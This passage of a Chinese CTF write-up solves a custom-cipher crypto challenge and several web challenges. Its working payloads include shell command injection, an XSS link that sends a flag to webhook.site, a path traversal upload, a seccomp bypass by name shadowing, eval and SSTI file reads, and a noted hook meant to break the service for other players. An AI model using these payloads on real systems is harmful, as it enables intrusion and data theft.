M = shift_rows(M)
M = apply_key(M, keys[-1]) # last key

return M

其中的 apply_key substitute shift_rowsmix_columns 都是改過(重寫過的)的,mix_columns 它是乘一個 ((1, 2, 0), (2, 0, 1), (1, 1, 1)) 的多項式,不過可以參考這篇的說明把它變成矩陣乘法比較好處理。

a3s 函數完整實作出來之後就能取得以 key 為未知數的 ciphertext 了,因為明文 sus. 只有一個 block,會發現它只有九個輸出,不過一樣可以用這個方法列出九條等式,然後化為矩陣之後用 solve_right 去解。由於未知數有 75 個,但我們只有 9 個等式的緣故所以有無限多組解,不過實際上任何一組解都能拿去當 key 解密的樣子。

解完之後就把原本的這題原本所提供的函數給恢復,之後把 d_a3s 改一下或是把 key 轉換回 bytes 也是可以,反正只要能把它變成能接受的 key 之後就可以成功解密了。

下方的解題腳本的前面都是直接從原題複製來的,真正我解題的 code 大概都在 300 行以後的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
from sage.all import *

# fmt: off
T_SIZE = 3 # Fixed trits in a tryte
W_SIZE = 3 # Fixed trytes in a word (determines size of matrix)
POLY = (2, 0, 1, 1) # Len = T_SIZE + 1

POLY2 = ((2, 0, 1), (1, 2, 0), (0, 2, 1), (2, 0, 1)) # Len = W_SIZE + 1
CONS = ((1, 2, 0), (2, 0, 1), (1, 1, 1)) # Len = W_SIZE
I_CONS = ((0, 0, 2), (2, 2, 1), (2, 2, 2)) # Inverse of CONS (mod POLY2)

# Secure enough ig
SBOX = (6, 25, 17, 11, 0, 19, 22, 14, 3, 4, 23, 12, 15, 7, 26, 20, 9, 1, 2, 18, 10, 13, 5, 21, 24, 16, 8)

KEYLEN = 28
# fmt: on


def up(array, size, filler): # If only there was APL in python :pensiv:
"""Groups up things in a tuple based on size"""
l = len(array)
array += (filler,) * (-l % size)
return tuple([array[i : i + size] for i in range(0, l, size)])


def down(array):
"""Ungroups objects in tuple"""
return sum(array, ())


def look(array):
if type(array) is int:
return array
while type(array[0]) is not int:
array = down(array)
return sum(array)


def clean(array):
while len(array) > 1:
if look(array[-1]):
break
array = array[:-1]
return tuple(array)


def int_to_tri(num): # positive only
out = []
while num:
num, trit = divmod(num, 3)
out.append(trit)
return tuple(out) if out else (0,)


def tri_to_int(tri):
out = 0
for i in tri[::-1]:
out *= 3
out += i
return out


tri_to_tyt = lambda tri: up(tri, T_SIZE, 0)
tyt_to_tri = lambda tyt: down(tyt)

int_to_tyt = lambda num: tri_to_tyt(int_to_tri(num))
tyt_to_int = lambda tyt: tri_to_int(down(tyt))

tyt_to_wrd = lambda tyt: up(tyt, W_SIZE, (0,) * T_SIZE)
wrd_to_tyt = lambda wrd: down(wrd)


def apply(func, filler=None): # scale up operations (same len only)
def wrapper(a, b):
return tuple(func(i, j) for i, j in zip(a, b))

return wrapper


xor = lambda a, b: (a + b) % 3
uxor = lambda a, b: (a - b) % 3
t_xor = apply(xor)
t_uxor = apply(uxor)
T_xor = apply(t_xor)
T_uxor = apply(t_uxor)
W_xor = apply(T_xor)
W_uxor = apply(T_uxor)


def tri_mul(A, B):
c = [0] * len(B)
for a in A[::-1]:
c = [0] + c
x = tuple(b * a % 3 for b in B)
c[: len(x)] = t_xor(c, x) # wtf slice assignment exists???
return clean(c)


def tri_divmod(A, B):
B = clean(B)
A2 = list(A)
c = [0]
while len(A2) >= len(B):
c = [0] + c
while A2[-1]:
A2[-len(B) :] = t_uxor(A2[-len(B) :], B)
c[0] = xor(c[0], 1)
A2.pop()
return clean(c), clean(A2) if sum(A2) else (0,)


def tri_mulmod(A, B, mod=POLY):
c = [0] * (len(mod) - 1)
for a in A[::-1]:
c = [0] + c
x = tuple(b * a % 3 for b in B)
c[: len(x)] = t_xor(c, x) # wtf slice assignment exists???
while c[-1]:
c[:] = t_xor(c, mod)
c.pop()
return tuple(c)


def egcd(a, b):
x0, x1, y0, y1 = (0,), (1,), b, a
while sum(y1):
q, _ = tri_divmod(y0, y1)
u, v = tri_mul(q, y1), tri_mul(q, x1)
x0, y0 = x0 + (0,) * len(u), y0 + (0,) * len(v)
y0, y1 = y1, clean(t_uxor(y0, u) + y0[len(u) :])
x0, x1 = x1, clean(t_uxor(x0, v) + x0[len(v) :])
return x0, y0


def modinv(a, m=POLY):
_, a = tri_divmod(a, m)
x, y = egcd(a, m)
if len(y) > 1:
raise Exception("modular inverse does not exist")
return tri_divmod(x, y)[0]


def tyt_mulmod(A, B, mod=POLY2, mod2=POLY):
fil = [(0,) * T_SIZE]
C = fil * (len(mod) - 1)
for a in A[::-1]:
C = fil + C
x = tuple(tri_mulmod(b, a, mod2) for b in B)
C[: len(x)] = T_xor(C, x)

num = modinv(mod[-1], mod2)
num2 = tri_mulmod(num, C[-1], mod2)
x = tuple(tri_mulmod(m, num2, mod2) for m in mod)
C[: len(x)] = T_uxor(C, x)

C.pop()
return C


"""
AES functions
"""

int_to_byt = lambda x: x.to_bytes((x.bit_length() + 7) // 8, "big")
byt_to_int = lambda x: int.from_bytes(x, byteorder="big")


def gen_row(size=W_SIZE):
out = ()
for i in range(size):
row = tuple(list(range(i * size, (i + 1) * size)))
out += row[i:] + row[:i]
return out


SHIFT_ROWS = gen_row()
UN_SHIFT_ROWS = tuple([SHIFT_ROWS.index(i) for i in range(len(SHIFT_ROWS))])


def rot_wrd(tyt): # only 1 word so treat as tyt array
return tyt[1:] + tyt[:1]


def sub_wrd(tyt):
return tuple(int_to_tyt(SBOX[tri_to_int(tri)])[0] for tri in tyt)


def u_sub_wrd(tyt):
return tuple(int_to_tyt(SBOX.index(tri_to_int(tri)))[0] for tri in tyt)


def rcon(num): # num gives number of constants given
out = int_to_tyt(1)
for _ in range(num - 1):
j = (0,) + out[-1]
while j[-1]: # xor until back in finite field
j = t_xor(j, POLY)
out += (j[:T_SIZE],)
return out


def expand(tyt):
words = tyt_to_wrd(tyt)
size = len(words)
rnum = size + 3
rcons = rcon(rnum * 3 // size)

for i in range(size, rnum * 3):
k = words[i - size]
l = words[i - 1]
if i % size == 0:
s = sub_wrd(rot_wrd(l))
k = T_xor(k, s)
k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:]
else:
k = T_xor(k, l)
words = words + (k,)

return up(down(words[: rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0])


def expand_words(words):
size = len(words)
rnum = size + 3
rcons = rcon(rnum * 3 // size)

for i in range(size, rnum * 3):
k = words[i - size]
l = words[i - 1]
if i % size == 0:
s = sub_wrd(rot_wrd(l))
k = T_xor(k, s)
k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:]
else:
k = T_xor(k, l)
words = words + (k,)

return up(down(words[: rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0])


def mix_columns(tyt, cons=CONS):
tyt = list(tyt)
for i in range(W_SIZE):
tyt[i::W_SIZE] = tyt_mulmod(tyt[i::W_SIZE], cons)
return tuple(tyt)


def a3s(msg, key):
m = byt_to_int(msg)
k = byt_to_int(key)
m = up(int_to_tyt(m), W_SIZE ** 2, int_to_tyt(0)[0])[-1] # Fixed block size
k = int_to_tyt(k)
keys = expand(k) # tryte array
assert len(keys) == KEYLEN

ctt = T_xor(m, keys[0])

for r in range(1, len(keys) - 1):
ctt = sub_wrd(ctt) # SUB...
ctt = tuple([ctt[i] for i in SHIFT_ROWS]) # SHIFT...
ctt = mix_columns(ctt) # MIX...
ctt = T_xor(ctt, keys[r]) # ADD!

ctt = sub_wrd(ctt)
ctt = tuple([ctt[i] for i in SHIFT_ROWS])
ctt = T_xor(ctt, keys[-1]) # last key

ctt = tyt_to_int(ctt)
return int_to_byt(ctt)


def d_a3s(ctt, key):
c = byt_to_int(ctt)
k = byt_to_int(key)
c = up(int_to_tyt(c), W_SIZE ** 2, int_to_tyt(0)[0])[-1] # Fixed block size
k = int_to_tyt(k)
keys = expand(k)[::-1] # tryte array
assert len(keys) == KEYLEN

msg = c
msg = T_uxor(msg, keys[0])

for r in range(1, len(keys) - 1):
msg = tuple([msg[i] for i in UN_SHIFT_ROWS]) # UN SHIFT...
msg = u_sub_wrd(msg) # UN SUB...
msg = T_uxor(msg, keys[r]) # UN ADD...
msg = mix_columns(msg, I_CONS) # UN MIX!

msg = tuple([msg[i] for i in UN_SHIFT_ROWS])
msg = u_sub_wrd(msg)
msg = T_uxor(msg, keys[-1]) # last key

msg = tyt_to_int(msg)
return int_to_byt(msg)


def chunk(c):
c = byt_to_int(c)
c = up(int_to_tyt(c), W_SIZE ** 2, int_to_tyt(0)[0])
x = tuple(tyt_to_int(i) for i in c)
x = tuple(int_to_byt(i) for i in x)
return x


def unchunk(c):
out = []
for i in c:
j = byt_to_int(i)
j = up(int_to_tyt(j), W_SIZE ** 2, int_to_tyt(0)[0])
assert len(j) == 1
out.append(j[0])
out = down(out)
out = tyt_to_int(out)
return int_to_byt(out)


# below is my code


# define field
x = var("x")
F = GF(3 ** 3, "z", modulus=x ** 3 + x ** 2 + 2)
z = F.gen()


def to_field_el(n):
# convert to an element in GF(3 ^ 3)
if type(n) is int:
assert n < 27
n = int_to_tyt(n)[0]
assert len(n) == 3
return n[0] + z * n[1] + z * z * n[2]


def sbox(n):
# affine transform
return (2 * z * z + 1) * n + 2 * z


# sanity check for sbox
for x, y in enumerate(SBOX):
# print(to_field_el(x), "->", to_field_el(y), "vs", sbox(to_field_el(x)))
assert to_field_el(y) == sbox(to_field_el(x))

# modified for field elements
t_xor = lambda x, y: x + y
t_uxor = lambda x, y: x - y
T_xor = lambda x, y: tuple(a + b for a, b in zip(x, y))
T_uxor = lambda x, y: tuple(a + b for a, b in zip(x, y))

# symbolic keys
PF = PolynomialRing(F, "k", 75)
sym_keys = PF.gens()


# modify key expand
def sub_wrd(tyt):
return tuple(map(sbox, tyt))


def expand(tyt):
words = tyt_to_wrd(tyt)
size = len(words)
rnum = size + 3
rcons = rcon(rnum * 3 // size)
rcons = tuple(map(to_field_el, rcons))

for i in range(size, rnum * 3):
k = words[i - size]
l = words[i - 1]
if i % size == 0:
s = sub_wrd(rot_wrd(l))
k = T_xor(k, s)
k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:]
else:
k = T_xor(k, l)
words = words + (k,)

return up(down(words[: rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0])


# modify a3s to work with this field
def apply_key(M, K):
return M + K


def substitute(M):
return Matrix(PF, [[sbox(x) for x in row] for row in M])


def shift_rows(M):
M = copy(M)
M[1, 0], M[1, 1], M[1, 2] = M[1, 1], M[1, 2], M[1, 0]
M[2, 0], M[2, 1], M[2, 2] = M[2, 2], M[2, 0], M[2, 1]
return M


def mix_columns(M):
S = Matrix(
F,
[
[2 * z + 1, 2 * z ** 2 + 2 * z + 2, 2 * z ** 2 + 2],
[z ** 2 + 2, z ** 2 + 1, z ** 2 + 1],
[z ** 2 + z + 1, z ** 2 + 1, 2 * z ** 2 + z + 2],
],
)
return S * M


def a3s(msg, key):
M = bytes_to_mat(msg)
keys = [Matrix(PF, up(k, 3, 0)) for k in expand(key)]
assert len(keys) == KEYLEN

M = apply_key(M, keys[0])

for r in range(1, len(keys) - 1):
M = substitute(M)
M = shift_rows(M)
M = mix_columns(M)
M = apply_key(M, keys[r])

M = substitute(M)
M = shift_rows(M)
M = apply_key(M, keys[-1]) # last key

return M


def bytes_to_mat(b):
x = byt_to_int(b)
x = up(int_to_tyt(x), W_SIZE ** 2, int_to_tyt(0)[0])[-1]
return Matrix(F, up(tuple(map(to_field_el, x)), 3, 0))


def solve_key(plain, enc):
# there are only 9 equations for a system with 75 variables
# so it will have many solutions
# but any one of them will work
mat1 = a3s(plain, sym_keys)
mat2 = bytes_to_mat(enc)
lhs = []
rhs = []
for i in range(3):
for j in range(3):
f = mat1[i, j]
lhs.append([f.coefficient(k) for k in sym_keys])
rhs.append(mat2[i, j] - f.constant_coefficient())
sk = M.solve_right(vector(rhs))
assert M * sk == vector(rhs)
return sk


def tri_to_int(tri):
out = 0
for i in tri[::-1]:
out *= 3
out += i
return out


def key_to_tyt(key):
ar = []
for x in key:
t = x.polynomial().coefficients(sparse=False)
if len(t) < 3:
t += [0] * (3 - len(t))
ar.append(tuple([int(x) for x in t]))
return tuple(ar)


# restore flag key
flag_key = key_to_tyt(solve_key(b"sus.", b'\x06\x0f"\x02\x8e\xd1'))
print(flag_key)

from a3s import * # restore the original functions


# modify to make it works with tyt
def d_a3s(ctt, k):
keys = expand(k)[::-1]
c = byt_to_int(ctt)
c = up(int_to_tyt(c), W_SIZE ** 2, int_to_tyt(0)[0])[-1] # Fixed block size
assert len(keys) == KEYLEN

msg = c
msg = T_uxor(msg, keys[0])

for r in range(1, len(keys) - 1):
msg = tuple([msg[i] for i in UN_SHIFT_ROWS]) # UN SHIFT...
msg = u_sub_wrd(msg) # UN SUB...
msg = T_uxor(msg, keys[r]) # UN ADD...
msg = mix_columns(msg, I_CONS) # UN MIX!

msg = tuple([msg[i] for i in UN_SHIFT_ROWS])
msg = u_sub_wrd(msg)
msg = T_uxor(msg, keys[-1]) # last key

msg = tyt_to_int(msg)
return int_to_byt(msg)


# decryption
flag_enc = b"\x01\x00\xc9\xe9m=\r\x07x\x04\xab\xd3]\xd3\xcd\x1a\x8e\xaa\x87;<\xf1[\xb8\xe0%\xec\xdb*D\xeb\x10\t\xa0\xb9.\x1az\xf0%\xdc\x16z\x12$0\x17\x8d1"
flag = unchunk([d_a3s(chk, flag_key) for chk in chunk(flag_enc)])
print(flag)

web

lemonthinker

可以輸入文字,然後服務會生成一個圖片,裡面有你輸入的文字,然後在上面疊上一個檸檬的圖片,會把文字蓋住。核心程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
@app.route('/generate', methods=['POST'])
def upload():
global clean
if time.time() - clean > 60:
os.system("rm static/images/*")
clean = time.time()
text = request.form.getlist('text')[0]
text = text.replace("\"", "")
filename = "".join(random.choices(chars,k=8)) + ".png"
os.system(f"python3 generate.py {filename} \"{text}\"")
return redirect(url_for('static', filename='images/' + filename), code=301)

雖然有過濾 ",但還是可以有非常簡單的 command injection,例如輸入 $(echo 1) 的結果就會是 1,所以這樣就可以 $(cat /f*) 去拿 flag 了。

不過它 generate.py 會檢測文字中有沒有 rsactf 文字出現,出現的話就不顯示,這個可以用其他的 linux 指令如 cut 之類的繞過,然後因為文字會被檸檬擋住,所以可以重複用 cut 多次把 flag 從圖片中讀出來。

或是還有個方法是利用它的 static/images 資料夾可寫的特性,用 $(cat /f* > static/images/flag) 之類的方法寫入,然後 url 直接存取 flag 也可以。這樣可以省掉從圖片中人工讀 flag 的時間。

Fancy Button Generator

這題有個網站可以讓你創造 button,可以控制一個 <a>href 和裡面的文字,它都有正確 escape 所以沒辦法直接 xss...?

看一下它的 xss bot 會發現它會去點擊那個 button,所以顯然可以用 javascript:alert(1) 的方式去觸發即可。

因為它需要解 PoW,所以我直接拿作者寫 PoW 腳本來改而已:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

import hashlib
import uuid
import binascii
import os
import sys


def generate():
return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]


def verify(prefix, suffix, answer, difficulty=6):
hash = hashlib.sha256(
prefix.encode() + answer.encode() + suffix.encode()
).hexdigest()
return hash.endswith("0" * difficulty)


def solve(prefix, suffix, difficulty):
while True:
test = binascii.hexlify(os.urandom(4)).decode()
if verify(prefix, suffix, test, difficulty):
return test


if len(sys.argv) < 2:
print("Usage: solve.py http://host:port/")
exit()
s = requests.Session()
host = sys.argv[1]
data = s.get(host + "pow").json()
print("Solving POW")
solution = solve(data["pref"], data["suff"], 5)
print(f"Solved: {solution}")
s.post(host + "pow", json={"answer": solution})
title = "btn"
link = "javascript:fetch('https://webhook.site/496e457e-0a36-40cd-9cc1-2aaf68c9ec32/?flag='%2BencodeURIComponent(localStorage.flag))"
print(s.get(host + "admin", params={"title": title, "link": link}).text)

# rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

Secure Uploader

這題有個檔案上傳服務,它會檢查檔名是否有 .,有的話就拒絕。通過檢查後會把檔名和一個 id 的 mapping 存到資料庫中,之後寫入到 "uploads/" + filename 的地方。另外有個檔案存取的 endpoint,可以接受 id 參數,然後會從資料庫中撈出對應的檔名,回傳 os.path.join("uploads/", filename) 的檔案。

這個的繞過方法很簡單,讓檔名變成 /flag.txt 就可以了,這樣 join 之後的結果就會是 /flag.txt。不過因為它的 instance 是多個人使用的,然後資料庫中不允許重複的檔名出現,所以可以用 /////////flag.txt 之類的方法一樣能拿 flag。

要改檔名的部份用 curl 很容易處裡:

1
curl http://193.57.159.27:50916/upload -F "file=@anyfile.txt;filename=////////////flag" -L

Electroplating

這題雖然只有 250 分,但是解題人數卻是 web 中最少的...

題目可以讓你上傳一個 .htmlrs 的一個 html 檔案,它會從裡面的 <templ> 元素中取 rust code 出來,生成一個 rust 的程式當作是個 webserver 當場編譯,server 本身會回應 html 的內容,然後 <templ> 裡面的 rust code 也會被執行。目標是要讀取 /flag.txt 的內容。

一個很直接的想法是直接用:

1
<templ>fs::read_to_string("/flag.txt").unwrap()</templ>

去讀檔案,只是它的 server 有 seccomp,允許的 syscalls 只有:

1
2
3
static ALLOWED: &'static [usize] = &[0, 1, 3, 11, 44,
60, 89, 131, 202,
231, 318];

所以沒辦法直接讀檔。

我的想法是利用 injection 看看可不可以達成什麼奇怪的效果,因為它的處裡 <templ> 中的程式的方法是直接塞進去下面的第二個 %s 的地方:

1
2
3
4
5
templ_fun = """
fn temp%s() -> String {
%s
}
"""

所以如果裡面有包含 } 的話就代表我們可以多定義一些其他函數,或是其他東西出來。一個可能會想要做的做法是把它的 apply_seccomp 函數給蓋掉,這樣就能直接讀取檔案了,不過實際上 rust compiler 會直接不允許重複定義函數...

它關於 seccomp 有關的程式碼是這樣的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// other imports

use seccomp::*;

// other code

fn apply_seccomp() {
let mut ctx = Context::default(Action::KillProcess).unwrap();
for i in ALLOWED {
let rule = Rule::new(*i, None, Action::Allow);
ctx.add_rule(rule).unwrap();
}
ctx.load();
}

// your template code will be injected here

其中的 Context Action Rule 都是來自 seccomp::* 裡面的東西。這時我就想如果定義一個函數叫做 Context 會怎樣? 結果是它的錯誤變成沒有 Context::default 這個函數能用,顯然有點利用的機會。

後來就去查了一查,去研究看看 rust 的 modstruct 等等的東西怎麼用,發現湊到下面這樣的 code 的時候可以通過編譯,然後讓 apply_seccomp 執行之後也毫無實際作用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// other imports

use seccomp::*;

// other code

fn apply_seccomp() {
let mut ctx = Context::default(Action::KillProcess).unwrap();
for i in ALLOWED {
let rule = Rule::new(*i, None, Action::Allow);
ctx.add_rule(rule).unwrap();
}
ctx.load();
}

mod Rule {
pub fn new(a: usize, b: Option<String>, c: fn(i32) -> i32) -> i32 {
0
}
}

mod Action {
pub fn KillProcess(x: i32) -> i32 { 48763 }
pub fn Allow(x: i32) -> i32 { 48763 }
}

mod Context {
pub struct Obj {
}
impl Obj {
pub fn unwrap(&mut self) -> Obj { Obj{} }
pub fn add_rule(&mut self, x: i32) -> Obj { Obj{} }
pub fn load(&mut self) -> Obj { Obj{} }
}
pub fn default(f: fn(i32) -> i32) -> Obj { Obj{} }
}

所以最後把它放進去 template 之中,把一些要 escape 的字元處裡過之後得到這樣的 template 然後上傳就能得到 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<title><templ>"Page Title".to_string()</templ></title>
temp1
<h1><templ>fs::read_to_string("/flag.txt").unwrap()
}

mod Rule {
pub fn new(a: usize, b: Option&lt;String>, c: fn(i32) -> i32) -> i32 {
0
}
}

mod Action {
pub fn KillProcess(x: i32) -> i32 { 48763 }
pub fn Allow(x: i32) -> i32 { 48763 }
}

mod Context {
pub struct Obj {
}
impl Obj {
pub fn unwrap(&amp;mut self) -> Obj { Obj{} }
pub fn add_rule(&amp;mut self, x: i32) -> Obj { Obj{} }
pub fn load(&amp;mut self) -> Obj { Obj{} }
}
pub fn default(f: fn(i32) -> i32) -> Obj { Obj{} }</templ></h1>
<h1><templ>"pekomiko".to_string()</templ></h1>
</html>

這題因為也有 PoW,所以也有個 solver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests

import hashlib
import uuid
import binascii
import os
import sys


def generate():
return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]


def verify(prefix, suffix, answer, difficulty=6):
hash = hashlib.sha256(
prefix.encode() + answer.encode() + suffix.encode()
).hexdigest()
return hash.endswith("0" * difficulty)


def solve(prefix, suffix, difficulty):
while True:
test = binascii.hexlify(os.urandom(4)).decode()
if verify(prefix, suffix, test, difficulty):
return test


if len(sys.argv) < 2:
print("Usage: solve.py http://host:port/")
exit()
s = requests.Session()
host = sys.argv[1]
if "localhost" not in host:
data = s.get(host + "pow").json()
print("Solving POW")
solution = solve(data["pref"], data["suff"], 6)
print(f"Solved: {solution}")
r = s.post(host + "pow", json={"answer": solution})
print(r.text)
print(r.cookies["session"])
r = s.post(host, files={"file": open(sys.argv[2])})
print(r.text)

# python solver.py https://electroplating.rars.win/ tmpl.htmlrs
# rarctf{D0n7_l3t-y0ur-5k1ll5-g0-rus7y!-24c55263}

Microservices As A Service 1

這題是個用多層服務組成起來的計算機,最外層有個包含這個題組所有題目的前端叫 app,然後這題的中間層是個 python 服務 calculator,它會去呼叫最內層的兩個 node.js 服務進行計算 checkers 和 arithmetic。

題目的關鍵在於第二層 python 服務的這個地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/arithmetic', methods=["POST"])
def arithmetic():
if request.form.get('add'):
r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('sub'):
r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('div'):
r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('mul'):
r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
result = r.json()
res = result.get('result')
if not res:
return str(result.get('error'))
try:
res_type = type(eval(res))
if res_type is int or res_type is float:
return str(res)
else:
return "Result is not a number"
except NameError:
return "Result is invalid"

後端 node.js 服務的 /add 是直接把兩個 + 起來:

1
2
3
4
5
6
app.get('/add', (req, res) => {
if (!(req.query.n1 && req.query.n2)) {
res.json({"error": "No number provided"});
}
res.json({"result": req.query.n1 + req.query.n2});
});

所以很明顯的可以利用 add 和控制 n1n2 去 eval 想要的東西,只是難點在於它回傳的內容是 res。這如果是 python 3.8 以上的話可以用 res := something 去修改目標,然後取得回顯。另外這題的 docker compose 有設定這個服務是完全在內網的,所以想用其他方法把 flag 傳出去也不可能。

我找到的一個方法是用 app.after_requestapp.make_response 去塞自己的 hook,然後 flag 放到自己的 response 之中:

1
curl http://localhost:5000/calculator -F 'mode=arithmetic' -F 'add=1' -F 'n1=[app.after_request(lambda x: app.make_response(open("/flag.txt").read()))' -F 'n2=,0][0]'

這個的缺點是之後如果再正常存取的話也會直接顯示 flag,讓每個人都看了到,所以可以再新增一個 hook 去存取沒定義的 variable,所以下次存取的時候會直接 error,別人想解題都沒辦法。

不過我告訴作者後,作者把 eval 那行 patch 掉變成了: res_type = type(eval(res, builtins.__dict__, {})),雖然一樣能存取 builtins,但 app 就不能用了。預期解大概是用 blind 去二分搜 flag 吧。

Microservices As A Service 2 / MAAS 2.5: Notes

這題一樣是多層的服務,第二層的地方是一個 python 服務 notes,而第三層也是一個 python 服務 redis_userdata,拿來和 redis 溝通用。

此題關鍵的 code 在這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@app.route('/useraction', methods=["POST"])
def useraction():
# ...
elif mode == "bioadd":
bio = request.form.get("bio")
bio.replace(".", "").replace("_", "").\
replace("{", "").replace("}", "").\
replace("(", "").replace(")", "").\
replace("|", "")

bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio)
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
requests.post(f"http://redis_userdata:5000/bio/{port}", json={
"bio": bio
})
return ""
# ...

# ...

@app.route("/render", methods=["POST"])
def render_bio():
data = request.json.get('data')
if data is None:
data = {}
return render_template_string(request.json.get('bio'), data=data)

你可以設定 bio 的值,然後它最後會去用 render_template_string,所以可以 SSTI 拿 flag:

1
{{g.pop.__globals__.__builtins__.open("/flag.txt").read()}}

顯然這個肯定不該這麼簡單,問題就出在 bio.replace 那行,作者 replace 不是 inplace 的了,所以就釋出了 2.5 版本把這個給修復了,變成 bio = bio.replace...

完整修復後的 /useraction 長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@app.route('/useraction', methods=["POST"])
def useraction():
mode = request.form.get("mode")
username = request.form.get("username")
if mode == "register":
r = requests.get('http://redis_userdata:5000/adduser')
port = int(r.text)
red = redis.Redis(host="redis_users")
red.set(username, port)
return ""
elif mode == "adddata":
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
requests.post(f"http://redis_userdata:5000/putuser/{port}", json={
request.form.get("key"): request.form.get("value")
})
return ""
elif mode == "getdata":
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
r = requests.get(f"http://redis_userdata:5000/getuser/{port}")
return jsonify(r.json())
elif mode == "bioadd":
bio = request.form.get("bio")
bio.replace(".", "").replace("_", "").\
replace("{", "").replace("}", "").\
replace("(", "").replace(")", "").\
replace("|", "")

bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio)
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
requests.post(f"http://redis_userdata:5000/bio/{port}", json={
"bio": bio
})
return ""
elif mode == "bioget":
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
r = requests.get(f"http://redis_userdata:5000/bio/{port}")
return r.text
elif mode == "keytransfer":
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
red2 = redis.Redis(host="redis_userdata",
port=int(port))
red2.migrate(request.form.get("host"),
request.form.get("port"),
[request.form.get("key")],
0, 1000,
copy=True, replace=True)
return ""

而它所溝通的 redis_userdata 服務長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify
import redis
import random
import os
import os

app = Flask(__name__)


@app.route('/adduser')
def adduser():
port = random.randint(50000, 60000)
if os.system(f"redis-server --port {port} --daemonize yes --protected-mode no") == 0:
return str(port), 200
else:
return "0", 500


@app.route('/getuser/<port>', methods=["GET"])
def getuser(port):
r = redis.Redis(port=port)
res = []
for key in r.scan_iter("*"):
res.append({key.decode(): r.get(key).decode()})
return jsonify(res)


@app.route('/putuser/<port>', methods=["POST"])
def putuser(port):
r = redis.Redis(port=port)
r.mset(request.json)
return "", 200


@app.route("/bio/<port>", methods=["POST", "GET"])
def bio(port):
if request.method == "GET":
if os.path.exists(f"/tmp/{port}.txt"):
with open(f"/tmp/{port}.txt") as f:
return f.read()
else:
return ""
elif request.method == "POST":
with open(f"/tmp/{port}.txt", 'w') as f:
